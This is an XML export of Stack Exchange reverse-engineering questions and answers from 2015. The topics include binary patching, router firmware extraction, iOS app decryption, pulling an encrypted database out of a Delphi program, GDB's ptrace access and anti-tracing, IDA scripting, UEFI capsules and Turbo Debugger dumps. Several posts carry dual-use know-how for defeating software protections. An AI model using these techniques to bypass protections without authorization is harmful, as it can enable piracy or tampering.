  <row Id="8524" PostTypeId="2" ParentId="8520" CreationDate="2015-03-23T00:00:13.503" Score="2" Body="&lt;p&gt;You could use a hex editor like HxD or HIEW to modify the binary directly. Find the hex bytes that you want to change and lookup the opcodes that you want to change them to.  Also, you can patch directly from IDA if you want as well, which is made easier with the idapatcher plug in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://thesprawl.org/projects/ida-patcher/&quot; rel=&quot;nofollow&quot;&gt;https://thesprawl.org/projects/ida-patcher/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2015-03-23T00:00:13.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8525" PostTypeId="2" ParentId="8522" CreationDate="2015-03-23T00:04:38.417" Score="2" Body="&lt;p&gt;Ida patcher might help you with some of this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://thesprawl.org/projects/ida-patcher/&quot; rel=&quot;nofollow&quot;&gt;https://thesprawl.org/projects/ida-patcher/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2015-03-23T00:04:38.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8526" PostTypeId="1" CreationDate="2015-03-23T00:10:02.233" Score="4" ViewCount="3576" Body="&lt;p&gt;I'm a newbie to reverse engineering, so pardon my ignorance. I am trying to extract the complete filesystem from a Netgear router's firmware. Using &lt;code&gt;binwalk&lt;/code&gt;, I was able to extract the kernel and a &lt;code&gt;squashfs&lt;/code&gt; file system. So far so good. The issue is that the file system is incomplete. Many directories (e.g. &lt;em&gt;/etc&lt;/em&gt;, &lt;em&gt;/mnt&lt;/em&gt;, &lt;em&gt;/var&lt;/em&gt;, &lt;em&gt;/www&lt;/em&gt;) are only symbolic links to non-existent directories in &lt;em&gt;/tmp&lt;/em&gt;, which itself is empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing that (as I've seen on other routers) the contents of &lt;em&gt;/tmp&lt;/em&gt; will be another filesystem that is created on startup and stored in RAM. Am I correct? And is there some way of determining the contents of the temporary filesystem from the firmware? &lt;/p&gt;&#xA;" OwnerUserId="12053" LastActivityDate="2015-04-23T09:41:15.340" Title="How can I extract the complete filesystem (including temp files) from a router's firmware?" Tags="|firmware|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8527" PostTypeId="2" ParentId="8526" CreationDate="2015-03-23T04:39:20.780" Score="2" Body="&lt;p&gt;Try the extract-firmware.sh from the firmware-mod-kit -&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://code.google.com/p/firmware-mod-kit/wiki/Documentation?tm=6&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/firmware-mod-kit/wiki/Documentation?tm=6&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2015-03-23T04:39:20.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8528" PostTypeId="1" CreationDate="2015-03-23T10:33:57.623" Score="4" ViewCount="6696" Body="&lt;p&gt;In order to remove the encryption from an iOS binary on the App Store, it first has to be executed on a ARM capable device. Is there a way to do this without access to a device?&lt;/p&gt;&#xA;" OwnerUserId="9782" LastEditorUserId="4154" LastEditDate="2015-03-23T17:03:42.613" LastActivityDate="2015-10-31T09:33:56.013" Title="Decrypt iOS standard encryption without device" Tags="|ios|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8530" PostTypeId="1" CreationDate="2015-03-23T13:31:00.953" Score="3" ViewCount="1058" Body="&lt;p&gt;This is my first post here (&amp;amp;hopefully not the last one!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, I gotta say I am no RE expert so I might sound a little confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have got a Delphi program consisting of two files (as far as you are concerned):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;program.exe&lt;/li&gt;&#xA;&lt;li&gt;program.bin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;program.bin is a database the extraction of which is my final objective. By extraction I mean to have an original db file or something that is tangible and does not lack any information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program is a GUI application that does nothing except loading the database and showing it in two columns (at least this is what I see).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Project description&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Language: Borland Delphi 6-7 (thanks to PEiD)&lt;/li&gt;&#xA;&lt;li&gt;IDE used: RAD Studio (most probably)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I did&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I tried DeDe, but for some reason program.exe does not load fully (which I guess makes it harder to decompile).&lt;/li&gt;&#xA;&lt;li&gt;I tried (almost) all of the BDE type of database viewers (paradox, dBase etc.). Why? because I found these strings while scrolling the assembly code in Olly.&#xA;None of them were successful except one. Some of them crashed during the opening, others said it had incorrect headers.&#xA;The one that worked was password recovery program that did not reject the file and, moreover, told me the password! :D.&lt;/li&gt;&#xA;&lt;li&gt;I tried lots of filetype detector programs. All of them failed except for &quot;File Analyzer&quot; which told me for 99% accuracy[sic] that it was VisiCalc file, which c'mon can't be true xD. &lt;/li&gt;&#xA;&lt;li&gt;I tried Process Monitor and saw that program.bin is read by chunks of 64 bytes. (not sure if this is useful information).&lt;/li&gt;&#xA;&lt;li&gt;I also tried some famous analysis tools (idr, Olly) tried observing codes for hours, but as I am not knowledgeable I was not able use them.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Observations&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Apart from that I spotted &quot;paradox&quot;, &quot;dBase&quot; strings in the assembly, I also saw that it has some relation to cryptbase.dll, which led me thinking it might be encrypted, but surprisingly IDA does not list cryptbase.dll in the import list of libraries.&lt;/li&gt;&#xA;&lt;li&gt;While inspecting the results of IDR I saw that program.exe has actually a dblogin form. If this really exists then it is invisible I guess.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So my question is what can I do? how can I place myself between the components so that I can see what it does?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I can put a link to the executable but I do not want to make it specific. I intend to acquire general techniques here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: This is purely for educational purposes only, as I already have this database. What I did was basically dump the memory where the program placed its database. (BTW, is there any small tool for dumping specific range of memory? I used Win7's original dumper in the Task Manager)&lt;/p&gt;&#xA;" OwnerUserId="12056" LastEditorUserId="12056" LastEditDate="2015-03-23T18:08:52.267" LastActivityDate="2015-03-23T18:08:52.267" Title="Case study: Extracting a database from a Delphi software" Tags="|ida|decryption|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8531" PostTypeId="1" AcceptedAnswerId="8532" CreationDate="2015-03-23T15:59:15.793" Score="3" ViewCount="3301" Body="&lt;p&gt;The fact that GDB can attach to any process without having su rights is terrifying to me. For example, what prevents me from writing a malware/virus(/whatever the correct term is) that uses same system calls with GDB to attach to any processes, send interrupts, change instructions on the fly, add breakpoints to branching instructions to alter ZF etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clearly do lots of harmful things with this ability. For example, I'm doing some minor hacks using some GDB Python scripts and I can't see what's preventing me from writing some seriously dangerous/malicious stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have some number of questions related with how is this possible and how is this safe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm assuming that it's the operating system who allows a process to somehow send interrupts to some other one, and access to it's address space and alter the memory. Please correct me if I'm wrong)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) What makes this safe? What prevents me from writing a program that alters behaviours of every single process running in a system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) What system calls are involved? How does operating system give me access to address space of some other process, while not taking my own address space from me. (e.g. GDB has it's own address space, but it can also read attached process' address space)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) In my user-level program, is it possible to detect this kind of &quot;attaching&quot;? Like, can I print a message and terminate if another process is attached to my program? How do I detect this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using &quot;attaching&quot; as &quot;starting writing/reading my address space&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9767" LastActivityDate="2015-03-23T17:25:45.000" Title="Why/how is GDB allowed to attach to a process and read/write to attached process' address space?" Tags="|gdb|operating-systems|process|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8532" PostTypeId="2" ParentId="8531" CreationDate="2015-03-23T17:25:45.000" Score="8" Body="&lt;p&gt;2) The system call is &lt;a href=&quot;http://en.wikipedia.org/wiki/Ptrace&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;ptrace&lt;/code&gt;&lt;/a&gt;. That call has lots of functionality, including &quot;copy a section of the tracee's memory into a local buffer in my address space&quot; and the reverse &quot;copy my buffer to the tracee's memory&quot;. These are quite similar to windows' &lt;code&gt;ReadProcessMemory&lt;/code&gt;  and &lt;code&gt;WriteProcessMemory&lt;/code&gt;. The tracing program needs to use these to access memory in the traced program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The fact that you can't, really, attach to processes that aren't yours, unless you have &lt;code&gt;root&lt;/code&gt; access, or (on Linux), the &lt;code&gt;CAP_SYS_PTRACE&lt;/code&gt; capability. In some newer Linuxes, you don't even have rights to &lt;code&gt;ptrace&lt;/code&gt; all of your own processes, depending on the &lt;code&gt;yama&lt;/code&gt; settings and whether the traced process is a (grand)child of the tracing process. The wikipedia page explains this in more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) No, you can't. At least not reliably. Whichever trick you'd want to use could be intercepted by the tracer. Also, you generally don't want to do this, since you need &lt;code&gt;ptrace&lt;/code&gt; to debug your program, and whoever has rights to &lt;code&gt;ptrace&lt;/code&gt; you could screw you in various other ways as well. However, a process can't have more than one tracer attached at a time, so you could have a master process that spawns and &lt;code&gt;ptrace&lt;/code&gt;s the worker, so noone else can attach to the worker to trace it. Of course, the worker would still need a way to check if it's parent is alive (compare &lt;code&gt;getppid()&lt;/code&gt; with 1 for example) and that the tracer isn't intercepting your &lt;code&gt;getppid()&lt;/code&gt; calls and patching them to return the old parent id.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-23T17:25:45.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8533" PostTypeId="2" ParentId="8530" CreationDate="2015-03-23T17:44:40.697" Score="1" Body="&lt;p&gt;Not really an answer, but too long for a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your program might use &lt;code&gt;LoadLibrary&lt;/code&gt; to load cryptbase.dll. Start Olly, place breakpoints on &lt;code&gt;LoadLibraryA&lt;/code&gt; and &lt;code&gt;LoadLibraryW&lt;/code&gt; and check what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;64 bytes (256 bits) is the input block size to various encryption algorithms. Your program might use one of these, either through &lt;code&gt;cryptbase.dll&lt;/code&gt;, or compiled into the program. Check &lt;a href=&quot;http://freecode.com/projects/signsrch&quot; rel=&quot;nofollow&quot;&gt;signsrch&lt;/a&gt; to see if your program contains any constants used by various encryption algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember Process Monitor can show you the stack to each API call it intercepts. If every read of 64 bytes originates from the same address in your .exe, but addresses further up the stack vary, the last common address is probably some &lt;code&gt;read_and_decrypt()&lt;/code&gt; subroutine. This is a great place to place your breakpoints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, it's easier to let the original program do its job than to crack everything. Your program will probably use a function somewhere that adds one row to the table to be displayed. If you can find this function, you could create a detour that opens a file, appends the row data to it, and closes it. &lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-23T17:44:40.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8534" PostTypeId="2" ParentId="8521" CreationDate="2015-03-23T18:21:40.857" Score="3" Body="&lt;p&gt;Each section in the firmware file has a crc32 over its contents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/booto/develo_fw&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should make option 1 more viable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details:&#xA;Inside the squashfs image there's whole heap of busybox based tools and a handful of standalone programs. There's one (&lt;em&gt;/usr/sbin/chunk&lt;/em&gt;) that looked likely to have logic concerning the traversal of the firmware files. It contains a number of the 32bit values that matched the values in the firmware file that look like magic/fourcc values. strings(1) output was also pretty encouraging.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastEditorUserId="12017" LastEditDate="2015-03-23T18:42:26.340" LastActivityDate="2015-03-23T18:42:26.340" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8535" PostTypeId="1" CreationDate="2015-03-23T19:18:23.907" Score="2" ViewCount="2779" Body="&lt;p&gt;I'm reverse engineering a binary that has very generic, standard xor+math encryption on every string. I've written IDAPython to find each one(they're used in a generic way) and decrypt them, then add the decrypted string as a comment / try to rename the variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't tell IDA that offsets to these blocks is actually a string, though. For example, it won't show up in &lt;code&gt;idautils.Strings&lt;/code&gt;(necessary for plugins/the rest of my script library...), the strings view, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I guess it wasn't clear: Strings are stored in encrypted blocks statically. They are only decrypted during runtime but are otherwise used just like normal string references.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could replace the encrypted blocks with their decrypted result in the IDB, but that is less than ideal as it creates an IDB that isn't 1:1 to the file statically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell IDA to identify an address as a string with a specific value? &lt;/p&gt;&#xA;" OwnerUserId="1548" LastEditorUserId="1548" LastEditDate="2015-03-23T19:51:49.843" LastActivityDate="2015-03-25T17:06:23.970" Title="Declaring block as a string in IDA" Tags="|ida|idapython|encryption|strings|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8536" PostTypeId="2" ParentId="8535" CreationDate="2015-03-23T19:39:38.443" Score="4" Body="&lt;p&gt;I think the API you're looking for is idaapi.make_ascii_string(start, len, strtype)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not really documented on &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idaapi-module.html&quot; rel=&quot;nofollow&quot;&gt;https://www.hex-rays.com/products/ida/support/idapython_docs/idaapi-module.html&lt;/a&gt; but an example blog post showing how to use the API for a similar circumstance is here: &lt;a href=&quot;http://security.my/post/38222980198/decrypting-strings-in-a-binary-with-an-idapython&quot; rel=&quot;nofollow&quot;&gt;http://security.my/post/38222980198/decrypting-strings-in-a-binary-with-an-idapython&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4306" LastActivityDate="2015-03-23T19:39:38.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8537" PostTypeId="2" ParentId="8535" CreationDate="2015-03-23T19:41:33.330" Score="1" Body="&lt;p&gt;I don't believe you can tell IDA to add a string to its string list if that string doesn't statically exist in your IDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have your script do the following, however:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new section&lt;/li&gt;&#xA;&lt;li&gt;Write the decrypted strings into that section (via byte-patching in the IDB), potentially with cross-references between the decrypted strings and the encrypted strings&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idaapi-module.html#refresh_strlist&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;idaapi.refresh_strlist()&lt;/code&gt;&lt;/a&gt; (&lt;a href=&quot;http://www.openrce.org/reference_library/ida_sdk_lookup/refresh_strlist&quot; rel=&quot;nofollow&quot;&gt;arguments documented here&lt;/a&gt;) on the decrypted strings written to the new section&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-23T19:41:33.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8538" PostTypeId="1" AcceptedAnswerId="8542" CreationDate="2015-03-23T20:53:13.537" Score="4" ViewCount="3077" Body="&lt;p&gt;I'm looking to identify code changes in the latest UEFI release for my motherboard, to verify whether the changes include mitigations for the &lt;a href=&quot;http://en.wikipedia.org/wiki/Row_hammer&quot; rel=&quot;nofollow&quot;&gt;row hammer&lt;/a&gt; vulnerability. I'm specifically looking at the last 3 releases (2401, 2304, 2201) of the Asus Maximus VII Hero board, which can be downloaded &lt;a href=&quot;http://www.asus.com/uk/Motherboards/MAXIMUS_VII_HERO/HelpDesk_Download/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The UEFI binaries are provided as CAP files, which I'm not used to seeing. Apparently these are &quot;UEFI Capsules&quot;, which Intel has &lt;a href=&quot;http://www.intel.com/content/www/us/en/architecture-and-technology/unified-extensible-firmware-interface/efi-capsule-specification.html&quot; rel=&quot;nofollow&quot;&gt;a specification&lt;/a&gt; for, but I've tried both automatic analysis (with &lt;a href=&quot;https://github.com/theopolis/uefi-firmware-parser&quot; rel=&quot;nofollow&quot;&gt;uefi-firmware-parser&lt;/a&gt;) and some manual digging to no avail. Running binwalk across them results in the usual noise of supposed LZMA blobs, but even once I grep past those I just run into a couple of false positive detections for encrypted data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual data within alternates between repetitive, structured, and high-entropy (encrypted / compressed) blocks, but I can't find anything obvious. Running a bindiff across the different revisions shows me some majorly changed blocks, and some odd bytes here and there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA doesn't seem to recognise anything in there as being EFI code, so I'm now stumped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get started with these CAP files? Is there any research out there that I should read? Are there any toolchains to work with them?&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2015-08-10T00:31:32.883" Title="Reverse engineering UEFI CAP files" Tags="|firmware|static-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8539" PostTypeId="2" ParentId="8538" CreationDate="2015-03-24T02:29:03.027" Score="2" Body="&lt;p&gt;The firmware isn't contained in an area denoted by a normal EFI_CAPSULE_GUID, like the specification your link describes. I can't find reference to the GUID in that CAP file in a public specification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;a href=&quot;https://gist.github.com/XVilka/8163272&quot; rel=&quot;nofollow&quot;&gt;this python script&lt;/a&gt; to strip off the capsule and then the resulting firmware file can be parsed with uefi-firmware-parser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you're using IDA, &lt;a href=&quot;https://github.com/snare/ida-efiutils&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; looks like it might be pretty useful - it seems to be aware of the strange GUID.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastEditorUserId="12017" LastEditDate="2015-03-24T12:17:54.590" LastActivityDate="2015-03-24T12:17:54.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8540" PostTypeId="1" CreationDate="2015-03-24T08:18:50.813" Score="0" ViewCount="787" Body="&lt;p&gt;I was asked for a special debugger which prints out the name of original calls used by author. I know the original exe was packed with Borland Turbo C (v.3) and the only debugger which output function calls is Turbo Debugger from '90 era. The author used function name like call gocheckdate, call gettimepassedfromlastsave, for example. Other debuggers list call sub_ or _loc but I don't need those kind of outputs. So, for short: how can I output the entire Cpu pannel (code) from Turbo Debugger to a file without the method to capture screen, copy/dump to log, because this is a long time consuming job. I just need to output in a step (well 2 or 3 steps) all cpu pane window (starting from top or program entry point and ending at the bottom of listing- that is, at the end of scrolling), not to copy,paste,dump only the portion of code displayed at a moment on screen. (MS-DOS 16 bit exe, btw). If there is another disassembler who can indeed presents the original procedure/function name used by original author and can save entire code (assembler) to file please let me know. I also am aware about IDA but due different output it will be a more consuming time job to identify function/procedure names in Turbo Debugger (from Borland) and rewrite/replace IDA output. And I am also aware IDA output is different from TD output.&lt;/p&gt;&#xA;" OwnerUserId="12060" LastActivityDate="2015-03-24T21:23:59.967" Title="Turbo Debugger - output cpu pane to file" Tags="|debuggers|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8541" PostTypeId="1" AcceptedAnswerId="8543" CreationDate="2015-03-24T11:23:56.920" Score="1" ViewCount="470" Body="&lt;p&gt;I would like to control a lens with an Arduino board, but of course, I first have to find out how the protocol works. Using an oscilloscope I was able to find out that the protocol uses High and Low states (about 20ms long) to transfer information, but without even knowing where the ground is, that information is rather unreliable.&#xA;So what I know so far is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 10 pins, two of which would have to be power and ground for the motors in the lens.&#xA;The communication is digital, but not necessarily serial (e.g. Camera sends High on Pin X and the shutter in  the lens opens and on the next High the shutter closes)&#xA;My guess is that the protocol is in fact serial as there seems to be a control mechanism in the lens checking the accuracy of the shutter speeds (for which it would need to know them; the shutter speed dial is on the camera)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I find out the pinout of this connector?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lens is from the Rollei 6000 Series with the PQ shutter. By googling I could only find information about the communication with the filmback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for you answers.&lt;/p&gt;&#xA;" OwnerUserId="12061" LastActivityDate="2015-03-24T12:48:08.597" Title="Identifying the pinout of an unknown protocol (Rollei 6000 Camera-Lens communication)" Tags="|serial-communication|protocol|communication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8542" PostTypeId="2" ParentId="8538" CreationDate="2015-03-24T11:35:07.350" Score="3" Body="&lt;p&gt;Someone pointed me to &lt;a href=&quot;https://github.com/LongSoft/UEFITool&quot; rel=&quot;nofollow&quot;&gt;UEFITool&lt;/a&gt;, which does exactly what I wanted. There's also an extractor version which dumps out all the separate nested binary components to directories. From this I was able to go through and analyse individual modules in IDA (they're x86 PE files, so it's easy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've not got quite as far as identifying whether the rowhammer mitigations are in place, but I'm writing some scripts to do bindiffs of each changed component, which should hopefully give me some idea of what I'm looking for.&lt;/p&gt;&#xA;" OwnerUserId="1351" LastActivityDate="2015-03-24T11:35:07.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8543" PostTypeId="2" ParentId="8541" CreationDate="2015-03-24T12:48:08.597" Score="0" Body="&lt;p&gt;First thing i'd use is a digital oscilloscope, possibly with an included logic analyzer. Something like &lt;a href=&quot;http://www.linkinstruments.com/mso19.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is affordable and allows you to monitor up to 8 channels at the same time. Being able to see the delta times between different lines changing High/Low might help you a lot. (I'm not affiliated with this specific company; their products seem fine from the web site description; you may or may not find a better product/better price elsewhere).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have reason to assume one of the lines uses serial communication, you might be interested in a &lt;a href=&quot;http://en.wikipedia.org/wiki/Bus_Pirate&quot; rel=&quot;nofollow&quot;&gt;Bus Pirate&lt;/a&gt; to investigate further. The Bus pirate also allows you to emulate serial transmission without having to program the arduino a lot; once you know how the protocol works, you can start implementing it (or use a pre-made library).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you don't know which of the lines is GND, i'd connect ground to the ground pin of the camera's battery. That way, you know for sure it's not on a data line that might change its voltage, and once you've identified the lines that seem to be 'always high' or 'always low', you know which ones are (probably) the power supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the physical layout of your hardware, it might be difficult to hook the logic analyzer/bus pirate to the pins while the lens is on the camera. What worked for me in such cases was making a paper template that had holes where the pins were supposed to be, and glue a bunch of thin aluminium foil stripes between two of these templates (of course the stripes need to be insulated from each other). If done with thin paper, you should be able to put it between the camera and the lens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, i suggest some kind of precise time source with the logic analyzer, and using a cheap webcam to make a movie when you experiment with camera settings and lens reactions. This will allow you to match individual movie frames with signal transitions later, so you have a much better reference between &quot;which switches did i press&quot;, &quot;what did the camera/lens do&quot;, and &quot;which signals appeared on the data lines&quot; than when you try to write things down while experimenting.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-24T12:48:08.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8544" PostTypeId="2" ParentId="8540" CreationDate="2015-03-24T12:53:04.010" Score="1" Body="&lt;p&gt;td.exe that's way back don't have it handy to do a trial&lt;br&gt;&#xA;answer pertains to td32 but i remember similar option available in td too&lt;br&gt;&#xA;i see a log of an old lode runner game LR.com in the folder with pane dumps&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alt+v-&amp;gt;l-&amp;gt;alt+f10-&amp;gt; open log file default is &amp;lt;prog_name&amp;gt;.log-&amp;gt;ok&#xA;enable logging yes &#xA;dump the pane to log file using&#xA;alt+e-&amp;gt;d-&amp;gt;page down&#xA;iirc td macros can record macros to repeat keystrokes or &#xA;autoit can be used to script findwindow() sendmessage()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;alt+v opens view menu&lt;/li&gt;&#xA;&lt;li&gt;l opens log window&lt;/li&gt;&#xA;&lt;li&gt;alt+f10 opens speed menu in log window&lt;/li&gt;&#xA;&lt;li&gt;browse or accept default log file name&lt;/li&gt;&#xA;&lt;li&gt;alt+ e opens edit menu&lt;/li&gt;&#xA;&lt;li&gt;d dumps cpu pane to log file&lt;/li&gt;&#xA;&lt;li&gt;pagedown to view and dump the next page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D5zzE.png&quot; alt=&quot;logging td32 cpu pane &quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;macro to reduce keystrokes to one charecter&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;alt+o -&amp;gt; create macro -&amp;gt; assign key (i assign 'z')     &#xA;alt+e -&amp;gt; d -&amp;gt; page down -&amp;gt; alt + hyphen to stop recording&#xA;&#xA;just keep z pressed till all is dumped :)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compile the code below and dump N number of panes to previously opened log file (&lt;code&gt;alt+v-&amp;gt;L-&amp;gt;alt+f10-&amp;gt;browse-&amp;gt;ok&lt;/code&gt;) using the above mentioned &lt;code&gt;macro 'z'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma comment(lib , &quot;user32.lib&quot;)&#xA;unsigned long numtopaste = 1;&#xA;BOOL CALLBACK EnumWindowsProc( HWND hWnd, LPARAM lParam )  {&#xA;    UNREFERENCED_PARAMETER(lParam);&#xA;    PCHAR Temp = (PCHAR) calloc(64,sizeof(char));&#xA;    if (Temp != NULL)    {&#xA;        GetClassName(hWnd, Temp, 64);&#xA;        if ( strcmp ( Temp , &quot;ConsoleWindowClass&quot; ) == 0 ) {&#xA;            PCHAR Wind = (PCHAR) calloc(64,sizeof(char));&#xA;            if (Wind != NULL) {&#xA;                GetWindowText(hWnd,Wind,64);&#xA;                if ((strstr(Wind,&quot;TD32.EXE&quot;)) != NULL) {&#xA;                    printf(&quot;found TD32.EXE ConsoleWindowClass\nHandle = %p\n&quot;&#xA;                        &quot;Command Line =%s\n pasting %c Number of Times %d \n&quot;, &#xA;                        hWnd, Wind,'z',numtopaste ); &#xA;     // blogs.msdn.com/b/bill copy to clipboard 'z' and paste to Console&#xA;                    for(ULONG i = 1; i &amp;lt; numtopaste ; i++) {&#xA;                        SendMessage(hWnd, WM_COMMAND, 0xfff1, 0);&#xA;                    }&#xA;                }&#xA;                free(Wind);&#xA;            }&#xA;        }&#xA;        free(Temp);&#xA;    }&#xA;    return TRUE;&#xA;}&#xA;int main(int argc , char * argv[]) {&#xA;    if(argc !=2) { printf (&quot;usage %s NUM&quot;,argv[0]); return 0;}&#xA;    numtopaste = strtoul(argv[1],NULL,10);&#xA;    EnumWindows(EnumWindowsProc,NULL);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-03-24T21:23:59.967" LastActivityDate="2015-03-24T21:23:59.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
